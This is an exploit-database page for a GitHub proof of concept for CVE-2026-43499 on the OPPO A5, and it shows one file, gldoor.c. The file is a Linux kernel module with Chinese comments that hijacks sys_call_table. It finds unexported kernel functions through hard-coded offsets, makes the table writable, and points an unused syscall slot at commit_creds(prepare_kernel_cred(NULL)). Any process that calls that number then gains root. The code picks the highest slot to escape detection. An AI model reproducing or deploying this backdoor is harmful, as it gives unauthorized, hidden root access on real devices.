Exploit database

GH-46dd0b2c14bcd94783555ca204d82fc3

wjnkac/cve-2026-43499-oppo-a5-pbbt30

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

169 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
wjnkac/cve-2026-43499-oppo-a5-pbbt30Revision 8d92fcd5b02e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main/src/lkm/gldoor.c

C · 4,022 bytes
/*
 * gldoor.c — 运行时 sys_call_table 劫持(OPPO A5 / msm-4.9 / 4.9.82)
 *
 * 设计要点(每一条都有反汇编依据,改前先读):
 *  ① **不需要 slide**。以模块导入的 printk 为锚点,所有内核符号用相对偏移求值:
 *       slide 在 (unsigned long)&printk 里已经含着了,差值把 slide 抵消掉。
 *     偏移来自 boot/symbols.txt(kallsyms 重建),VA=0xffffff8000080000+off。
 *  ② **调用约定**:el0_svc@0x3700 的
 *       adrp x27, 0xf83000            ; x27 = sys_call_table
 *       ldr  x16, [x27, x26, lsl #3]  ; x16 = table[nr]
 *       blr  x16
 *     在 blr 之前 x0..x7 未被改动(只是 stp 存了快照)⇒ 表项是**标准 C 参数**
 *     (不是 struct pt_regs*)。同时 0x3708 的 `mov x25,#0x123` 给出合法 nr 上界 291。
 *  ③ 选一个本来指向 sys_ni_syscall 的空槽(取**最高**的那个,避开 libc 探测),
 *     劫持后无条件 commit_creds(prepare_kernel_cred(NULL)) ⇒ 谁调谁变 root。
 *  ④ sys_call_table 在 `R` 段(只读)⇒ 先 set_memory_rw(表, 1) 再写回。
 *     set_memory_rw / commit_creds / prepare_kernel_cred 都**没有导出**,
 *     全部走 KREL() 函数指针调用。
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/types.h>

/* boot/symbols.txt(file_offset,相对 _text) */
#define OFF_NI        0x4adacUL   /* sys_ni_syscall      */
#define OFF_SETRW     0x1d734UL   /* set_memory_rw       */
#define OFF_SETRO     0x1d718UL   /* set_memory_ro       */
#define OFF_COMMIT    0x4c3dcUL   /* commit_creds        */
#define OFF_PREP      0x4c8fcUL   /* prepare_kernel_cred */
#define OFF_PRINTK    0x12c7a8UL  /* printk(锚点,已导出)*/
#define OFF_SCT       0xf83000UL  /* sys_call_table      */

#define NR_MAX        291         /* el0_svc: mov x25, #0x123 */

/* &printk 由模块装载器重定位成运行时地址(含 KASLR slide)⇒ 相对偏移自洽 */
#define KREL(off)     ((unsigned long)&printk - OFF_PRINTK + (off))

typedef int  (*set_mem_t)(unsigned long addr, int npages);
typedef void *(*prep_t)(void *daemon);
typedef int  (*commit_t)(void *cred);

static unsigned long *g_sct;
static unsigned long  g_orig;
static int            g_nr = -1;

/* 谁调这个号,谁就变成 root(x0..x5 不用,故对两种约定都安全) */
static long gl_door(unsigned long a0, unsigned long a1, unsigned long a2,
                    unsigned long a3, unsigned long a4, unsigned long a5)
{
    void *c = ((prep_t)KREL(OFF_PREP))(NULL);
    if (c)
        ((commit_t)KREL(OFF_COMMIT))(c);
    return 0;
}

static int __init gldoor_init(void)
{
    unsigned long ni = KREL(OFF_NI);
    unsigned long sct = KREL(OFF_SCT);
    int i;

    pr_info("GLDOOR: anchor printk=%lx ni=%lx sct=%lx\n",
            (unsigned long)&printk, ni, sct);

    g_sct = (unsigned long *)sct;

    /* 取最高的空槽:低号段可能被 libc / seccomp 探测,高号段没人碰 */
    for (i = 0; i < NR_MAX; i++)
        if (g_sct[i] == ni)
            g_nr = i;
    if (g_nr < 0) {
        pr_err("GLDOOR: 没找到 sys_ni_syscall 空槽\n");
        return -ENOENT;
    }
    g_orig = g_sct[g_nr];
    pr_info("GLDOOR: 选槽 nr=%d orig=%lx -> %lx\n", g_nr, g_orig,
            (unsigned long)&gl_door);

    if (((set_mem_t)KREL(OFF_SETRW))(sct & ~0xfffUL, 1) != 0) {
        pr_err("GLDOOR: set_memory_rw 失败\n");
        return -EPERM;
    }
    WRITE_ONCE(g_sct[g_nr], (unsigned long)&gl_door);
    pr_info("GLDOOR: hooked nr=%d(调用它即 commit_creds(init_cred))\n", g_nr);
    return 0;
}

static void __exit gldoor_exit(void)
{
    if (g_nr >= 0) {
        WRITE_ONCE(g_sct[g_nr], g_orig);
        ((set_mem_t)KREL(OFF_SETRO))(KREL(OFF_SCT) & ~0xfffUL, 1);
        pr_info("GLDOOR: 已还原 nr=%d\n", g_nr);
    }
    pr_info("GLDOOR: bye\n");
}

module_init(gldoor_init);
module_exit(gldoor_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("gldoor sys_call_table hijack probe");